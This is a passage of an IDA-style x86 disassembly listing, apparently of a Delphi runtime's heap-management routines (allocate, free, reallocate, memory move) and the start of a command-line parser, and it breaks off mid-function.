		mov	edx, [esi]
		cmp	ebx, [edx+8]
		jg	short loc_40206F
		mov	edx, [edi]
		mov	[edx+8], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jz	short loc_40208E
		mov	eax, [esi]
		mov	[edi], eax
		jmp	short loc_402104
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_402030+56j
		cmp	ebx, 1000h
		jg	short loc_4020A4
		mov	eax, ebx
		call	sub_401FF8
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jnz	short loc_402104


loc_4020A4:				; CODE XREF: sub_402030+64j
		mov	eax, ebx
		call	sub_401F98
		test	al, al
		jnz	short loc_4020B9
		xor	eax, eax
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_40216D
; ---------------------------------------------------------------------------


loc_4020B9:				; CODE XREF: sub_402030+7Dj
		cmp	ebx, [ebp+0]
		jg	short loc_402047
		sub	[ebp+0], ebx
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_4020CF
		add	ebx, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_4020CF:				; CODE XREF: sub_402030+95j
		mov	eax, ds:dword_407608
		mov	[esp+1Ch+var_18], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		jmp	short loc_40216D
; ---------------------------------------------------------------------------


loc_402104:				; CODE XREF: sub_402030+23j
					; sub_402030+34j ...
		mov	eax, [esi]
		call	sub_401AF4
		mov	eax, [esi]
		mov	edx, [eax+8]
		mov	eax, edx
		sub	eax, ebx
		cmp	eax, 0Ch
		jl	short loc_402125
		mov	edx, [esi]
		add	edx, ebx
		xchg	eax, edx
		call	sub_401DC8
		jmp	short loc_402143
; ---------------------------------------------------------------------------


loc_402125:				; CODE XREF: sub_402030+E7j
		mov	ebx, edx
		mov	eax, [esi]
		cmp	eax, [edi]
		jnz	short loc_402134
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[edi], eax


loc_402134:				; CODE XREF: sub_402030+FBj
		mov	eax, [esi]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh


loc_402143:				; CODE XREF: sub_402030+F3j
		mov	eax, [esi]
		mov	[esp+1Ch+var_18], eax
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx


loc_40216D:				; CODE XREF: sub_402030+84j
					; sub_402030+D2j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402178	proc near		; CODE XREF: sub_402700+5Dp
					; sub_4027CC+Ap ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402193
		call	sub_40191C
		test	al, al
		jz	short loc_40219B


loc_402193:				; CODE XREF: sub_402178+10j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_4021A5


loc_40219B:				; CODE XREF: sub_402178+19j
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_40231B
; ---------------------------------------------------------------------------


loc_4021A5:				; CODE XREF: sub_402178+21j
		xor	edx, edx
		push	ebp
		push	offset loc_402314
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_4021C6
		push	offset dword_4075B4
		call	sub_4010FC	; RtlEnterCriticalSection


loc_4021C6:				; CODE XREF: sub_402178+42j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_4021D6
		mov	ebx, 0Ch


loc_4021D6:				; CODE XREF: sub_402178+57j
		cmp	ebx, 1000h
		jg	loc_40228E
		mov	eax, ebx
		test	eax, eax
		jns	short loc_4021EB
		add	eax, 3


loc_4021EB:				; CODE XREF: sub_402178+6Ej
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jz	loc_40228E
		mov	edx, [ebp+var_8]
		add	edx, ebx
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		and	dword ptr [edx], 0FFFFFFFEh
		mov	edx, [ebp+var_8]
		mov	edx, [edx+4]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_8]
		jnz	short loc_402232
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		jmp	short loc_402258
; ---------------------------------------------------------------------------


loc_402232:				; CODE XREF: sub_402178+AAj
		mov	edx, ds:dword_40760C
		mov	ecx, [ebp+var_10]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	[eax], edx


loc_402258:				; CODE XREF: sub_402178+B8j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403048
		jmp	loc_40231B
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: sub_402178+64j
					; sub_402178+87j
		cmp	ebx, ds:dword_407604
		jg	short loc_4022E9
		sub	ds:dword_407604, ebx
		cmp	ds:dword_407604, 0Ch
		jge	short loc_4022B2
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_4022B2:				; CODE XREF: sub_402178+12Bj
		mov	eax, ds:dword_407608
		mov	[ebp+var_14], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403048
		jmp	short loc_40231B
; ---------------------------------------------------------------------------


loc_4022E9:				; CODE XREF: sub_402178+11Cj
		mov	eax, ebx
		call	sub_402030
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40231B


loc_402300:				; CODE XREF: sub_402178+1A1j
		cmp	ds:byte_407035,	0
		jz	short locret_402313
		push	offset dword_4075B4
		call	sub_401104	; RtlLeaveCriticalSection

locret_402313:				; CODE XREF: sub_402178+18Fj
		retn
; ---------------------------------------------------------------------------


loc_402314:				; DATA XREF: sub_402178+30o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_402300
; ---------------------------------------------------------------------------


loc_40231B:				; CODE XREF: sub_402178+28j
					; sub_402178+111j ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402178	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402324	proc near		; CODE XREF: sub_401C08+1Cp
					; sub_402700+8Dp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_4075B0, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_40235C
		call	sub_40191C
		test	al, al
		jnz	short loc_40235C
		mov	ds:dword_4075B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_4024F2
; ---------------------------------------------------------------------------


loc_40235C:				; CODE XREF: sub_402324+17j
					; sub_402324+20j
		xor	edx, edx
		push	ebp
		push	offset loc_4024EB
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_40237D
		push	offset dword_4075B4
		call	sub_4010FC	; RtlEnterCriticalSection


loc_40237D:				; CODE XREF: sub_402324+4Dj
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		test	bl, 2
		jnz	short loc_4023A2
		mov	ds:dword_4075B0, 9
		jmp	loc_4024C2
; ---------------------------------------------------------------------------


loc_4023A2:				; CODE XREF: sub_402324+6Dj
		dec	ds:dword_40759C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_4075A0, eax
		test	bl, 1
		jz	short loc_402410
		mov	eax, [ebp+var_8]
		sub	eax, 0Ch
		mov	eax, [eax+8]
		cmp	eax, 0Ch
		jl	short loc_4023D2
		test	eax, 80000003h
		jz	short loc_4023E1


loc_4023D2:				; CODE XREF: sub_402324+A5j
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024C2
; ---------------------------------------------------------------------------


loc_4023E1:				; CODE XREF: sub_402324+ACj
		mov	edx, [ebp+var_8]
		sub	edx, eax
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	eax, [edx+8]
		jz	short loc_402400
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024C2
; ---------------------------------------------------------------------------


loc_402400:				; CODE XREF: sub_402324+CBj
		add	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		call	sub_401AF4


loc_402410:				; CODE XREF: sub_402324+97j
		and	ebx, 7FFFFFFCh
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		cmp	eax, ds:dword_407608
		jnz	short loc_402455
		sub	ds:dword_407608, ebx
		add	ds:dword_407604, ebx
		cmp	ds:dword_407604, 3C00h
		jle	short loc_402446
		call	sub_401EC0


loc_402446:				; CODE XREF: sub_402324+11Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_403048
		jmp	loc_4024F2
; ---------------------------------------------------------------------------


loc_402455:				; CODE XREF: sub_402324+103j
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		test	al, 2
		jz	short loc_40247C
		and	eax, 7FFFFFFCh
		cmp	eax, 4
		jge	short loc_402474
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024C2
; ---------------------------------------------------------------------------


loc_402474:				; CODE XREF: sub_402324+142j
		mov	eax, [ebp+var_C]
		or	dword ptr [eax], 1
		jmp	short loc_4024B8
; ---------------------------------------------------------------------------


loc_40247C:				; CODE XREF: sub_402324+138j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40249C
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jz	short loc_40249C
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_4024A8


loc_40249C:				; CODE XREF: sub_402324+165j
					; sub_402324+16Dj
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024C2
; ---------------------------------------------------------------------------


loc_4024A8:				; CODE XREF: sub_402324+176j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		add	ebx, eax
		mov	eax, [ebp+var_10]
		call	sub_401AF4


loc_4024B8:				; CODE XREF: sub_402324+156j
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_401DC8


loc_4024C2:				; CODE XREF: sub_402324+79j
					; sub_402324+B8j ...
		mov	eax, ds:dword_4075B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4024F2


loc_4024D7:				; CODE XREF: sub_402324+1CCj
		cmp	ds:byte_407035,	0
		jz	short locret_4024EA
		push	offset dword_4075B4
		call	sub_401104	; RtlLeaveCriticalSection

locret_4024EA:				; CODE XREF: sub_402324+1BAj
		retn
; ---------------------------------------------------------------------------


loc_4024EB:				; DATA XREF: sub_402324+3Bo
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4024D7
; ---------------------------------------------------------------------------


loc_4024F2:				; CODE XREF: sub_402324+33j
					; sub_402324+12Cj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402324	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4024FC	proc near		; CODE XREF: sub_402700+4Dp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_402515
		mov	ebx, 0Ch


loc_402515:				; CODE XREF: sub_4024FC+12j
		sub	eax, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_1C]
		mov	esi, [eax]
		and	esi, 7FFFFFFCh
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		cmp	esi, ebx
		jnz	short loc_40253A
		mov	al, 1
		jmp	loc_4026F7
; ---------------------------------------------------------------------------


loc_40253A:				; CODE XREF: sub_4024FC+35j
		cmp	esi, ebx
		jle	loc_4025D2
		mov	ebp, esi
		sub	ebp, ebx
		mov	edx, [esp+1Ch+var_18]
		cmp	edx, ds:dword_407608
		jnz	short loc_40257E
		sub	ds:dword_407608, ebp
		add	ds:dword_407604, ebp
		cmp	ds:dword_407604, 0Ch
		jge	loc_4026DA
		add	ds:dword_407608, ebp
		sub	ds:dword_407604, ebp
		mov	ebx, esi
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_40257E:				; CODE XREF: sub_4024FC+54j
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_4025A3
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_14]
		add	ebp, [eax+8]
		mov	eax, [esp+1Ch+var_14]
		call	sub_401AF4


loc_4025A3:				; CODE XREF: sub_4024FC+8Dj
		cmp	ebp, 0Ch
		jl	short loc_4025CB
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		or	ebp, 2
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		call	sub_401C08
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_4025CB:				; CODE XREF: sub_4024FC+AAj
		mov	ebx, esi
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_4025D2:				; CODE XREF: sub_4024FC+40j
					; sub_4024FC+1D5j
		mov	edi, ebx
		sub	edi, esi
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, ds:dword_407608
		jnz	short loc_402647
		cmp	edi, ds:dword_407604
		jg	short loc_402639
		sub	ds:dword_407604, edi
		add	ds:dword_407608, edi
		cmp	ds:dword_407604, 0Ch
		jge	short loc_402617
		mov	eax, ds:dword_407604
		add	ds:dword_407608, eax
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_402617:				; CODE XREF: sub_4024FC+101j
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1
		jmp	loc_4026F7
; ---------------------------------------------------------------------------


loc_402639:				; CODE XREF: sub_4024FC+ECj
		call	sub_401EC0
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax


loc_402647:				; CODE XREF: sub_4024FC+E4j
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_40269F
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	edx, [esp+1Ch+var_14]
		mov	ebp, [edx+8]
		cmp	edi, ebp
		jle	short loc_40266D
		add	eax, ebp
		mov	[esp+1Ch+var_18], eax
		sub	edi, ebp
		jmp	short loc_40269F
; ---------------------------------------------------------------------------


loc_40266D:				; CODE XREF: sub_4024FC+165j
		mov	eax, [esp+1Ch+var_14]
		call	sub_401AF4
		sub	ebp, edi
		cmp	ebp, 0Ch
		jl	short loc_40268B
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	edx, ebp
		call	sub_401DC8
		jmp	short loc_4026DA
; ---------------------------------------------------------------------------


loc_40268B:				; CODE XREF: sub_4024FC+17Fj
		add	ebx, ebp
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh
		jmp	short loc_4026DA
; ---------------------------------------------------------------------------


loc_40269F:				; CODE XREF: sub_4024FC+152j
					; sub_4024FC+16Fj
		mov	eax, [esp+1Ch+var_18]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4026D6
		and	eax, 7FFFFFFCh
		add	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_18], eax
		mov	edx, edi
		mov	eax, [esp+1Ch+var_18]
		call	sub_401FC4
		test	al, al
		jz	short loc_4026D6
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		jmp	loc_4025D2
; ---------------------------------------------------------------------------


loc_4026D6:				; CODE XREF: sub_4024FC+1AEj
					; sub_4024FC+1CAj
		xor	eax, eax
		jmp	short loc_4026F7
; ---------------------------------------------------------------------------


loc_4026DA:				; CODE XREF: sub_4024FC+69j
					; sub_4024FC+7Dj ...
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1


loc_4026F7:				; CODE XREF: sub_4024FC+39j
					; sub_4024FC+138j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402700	proc near		; CODE XREF: sub_40281C+Dp
					; DATA XREF: DATA:off_406030o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402728
		call	sub_40191C
		test	al, al
		jnz	short loc_402728
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_4027C0
; ---------------------------------------------------------------------------


loc_402728:				; CODE XREF: sub_402700+13j
					; sub_402700+1Cj
		xor	edx, edx
		push	ebp
		push	offset loc_4027B9
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_402749
		push	offset dword_4075B4
		call	sub_4010FC	; RtlEnterCriticalSection


loc_402749:				; CODE XREF: sub_402700+3Dj
		mov	edx, esi
		mov	eax, ebx
		call	sub_4024FC
		test	al, al
		jz	short loc_40275B
		mov	[ebp+var_4], ebx
		jmp	short loc_402798
; ---------------------------------------------------------------------------


loc_40275B:				; CODE XREF: sub_402700+54j
		mov	eax, esi
		call	sub_402178
		mov	[ebp+var_8], eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_40277A
		mov	eax, esi


loc_40277A:				; CODE XREF: sub_402700+76j
		cmp	[ebp+var_8], 0
		jz	short loc_402792
		mov	edx, [ebp+var_8]
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4028E0
		mov	eax, ebx
		call	sub_402324


loc_402792:				; CODE XREF: sub_402700+7Ej
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_402798:				; CODE XREF: sub_402700+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4027C0


loc_4027A5:				; CODE XREF: sub_402700+BEj
		cmp	ds:byte_407035,	0
		jz	short locret_4027B8
		push	offset dword_4075B4
		call	sub_401104	; RtlLeaveCriticalSection

locret_4027B8:				; CODE XREF: sub_402700+ACj
		retn
; ---------------------------------------------------------------------------


loc_4027B9:				; DATA XREF: sub_402700+2Bo
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4027A5
; ---------------------------------------------------------------------------


loc_4027C0:				; CODE XREF: sub_402700+23j
					; DATA XREF: sub_402700+A0o
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402700	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027CC	proc near		; CODE XREF: sub_4035B0+Cp
					; CODE:00404E24p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4027EE
		mov	eax, ebx
		call	ds:off_406028
		mov	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0
		jnz	short loc_4027F3
		mov	al, 1
		call	sub_4028C4
; ---------------------------------------------------------------------------
		jmp	short loc_4027F3
; ---------------------------------------------------------------------------


loc_4027EE:				; CODE XREF: sub_4027CC+6j
		xor	eax, eax
		mov	[esp+8+var_8], eax


loc_4027F3:				; CODE XREF: sub_4027CC+17j
					; sub_4027CC+20j
		mov	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_4027CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027FC	proc near		; CODE XREF: sub_403518+1Cp
					; sub_40353C+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_402816
		call	ds:off_40602C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402818
		mov	al, 2
		call	sub_4028C4
; ---------------------------------------------------------------------------
		jmp	short loc_402818
; ---------------------------------------------------------------------------


loc_402816:				; CODE XREF: sub_4027FC+3j
		xor	ebx, ebx


loc_402818:				; CODE XREF: sub_4027FC+Fj
					; sub_4027FC+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_4027FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40281C	proc near		; CODE XREF: sub_403734+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_402854
		test	edx, edx
		jz	short loc_40283E
		push	eax
		mov	eax, ecx
		call	ds:off_406030
		pop	ecx
		or	eax, eax
		jz	short loc_40284D
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_402837:				; CODE XREF: sub_40281C+2Ej
		mov	al, 2
		jmp	sub_4028C4
; ---------------------------------------------------------------------------


loc_40283E:				; CODE XREF: sub_40281C+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_40602C
		or	eax, eax
		jnz	short loc_402837
		retn
; ---------------------------------------------------------------------------


loc_40284D:				; CODE XREF: sub_40281C+16j
					; sub_40281C+48j
		mov	al, 1
		jmp	sub_4028C4
; ---------------------------------------------------------------------------


loc_402854:				; CODE XREF: sub_40281C+4j
		test	edx, edx
		jz	short locret_402868
		push	eax
		mov	eax, edx
		call	ds:off_406028
		pop	ecx
		or	eax, eax
		jz	short loc_40284D
		mov	[ecx], eax

locret_402868:				; CODE XREF: sub_40281C+3Aj
		retn
sub_40281C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40286C	proc near		; CODE XREF: sub_402878+42p
					; CODE:004030F7p
		mov	ds:dword_406004, edx
		call	sub_403500
sub_40286C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402878	proc near		; CODE XREF: sub_4028C4+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_407008, 0
		jz	short loc_402894
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_407008


loc_402894:				; CODE XREF: sub_402878+10j
		test	bl, bl
		jnz	short loc_4028A5
		call	sub_403C48
		mov	ebx, [eax+4]
		jmp	short loc_4028B4
; ---------------------------------------------------------------------------


loc_4028A5:				; CODE XREF: sub_402878+1Ej
		cmp	bl, 18h
		ja	short loc_4028B4
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_406034[eax]


loc_4028B4:				; CODE XREF: sub_402878+2Bj
					; sub_402878+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_40286C
sub_402878	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4028C4	proc near		; CODE XREF: sub_4027CC+1Bp
					; sub_4027FC+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_402878
sub_4028C4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4028D0	proc near		; CODE XREF: sub_402AF4+38p
					; sub_402AF4+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_403C48
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4028D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028E0	proc near		; CODE XREF: sub_402700+86p
					; sub_40356C+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_4028FF
		jz	short loc_40291D
		sar	ecx, 2
		js	short loc_40291D
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4028FF:				; CODE XREF: sub_4028E0+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_40291D
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_40291D:				; CODE XREF: sub_4028E0+Cj
					; sub_4028E0+11j ...
		pop	edi
		pop	esi
		retn
sub_4028E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402920	proc near		; CODE XREF: sub_402A84+44p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_24], edx
		mov	[esp+28h+var_28], eax
		mov	esi, esp
		lea	edi, [esp+28h+var_14]
		jmp	short loc_402940
; ---------------------------------------------------------------------------


loc_402936:				; CODE XREF: sub_402920+2Bj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax


loc_402940:				; CODE XREF: sub_402920+14j
					; sub_402920+3Fj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_40294D
		cmp	bl, 20h
		jbe	short loc_402936


loc_40294D:				; CODE XREF: sub_402920+26j
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402961
		mov	eax, [esi]
		cmp	byte ptr [eax+1], 22h
		jnz	short loc_402961
		add	dword ptr [esi], 2
		jmp	short loc_402940
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: sub_402920+32j
					; sub_402920+3Aj
		xor	ebp, ebp
		mov	eax, [esi]
		mov	[esp+28h+var_1C], eax
		jmp	short loc_4029C6
; ---------------------------------------------------------------------------


loc_40296B:				; CODE XREF: sub_402920+ABj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_4029B2
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402992
; ---------------------------------------------------------------------------


loc_40297E:				; CODE XREF: sub_402920+7Dj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_402992:				; CODE XREF: sub_402920+5Cj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_40299F
		cmp	bl, 22h
		jnz	short loc_40297E


loc_40299F:				; CODE XREF: sub_402920+78j
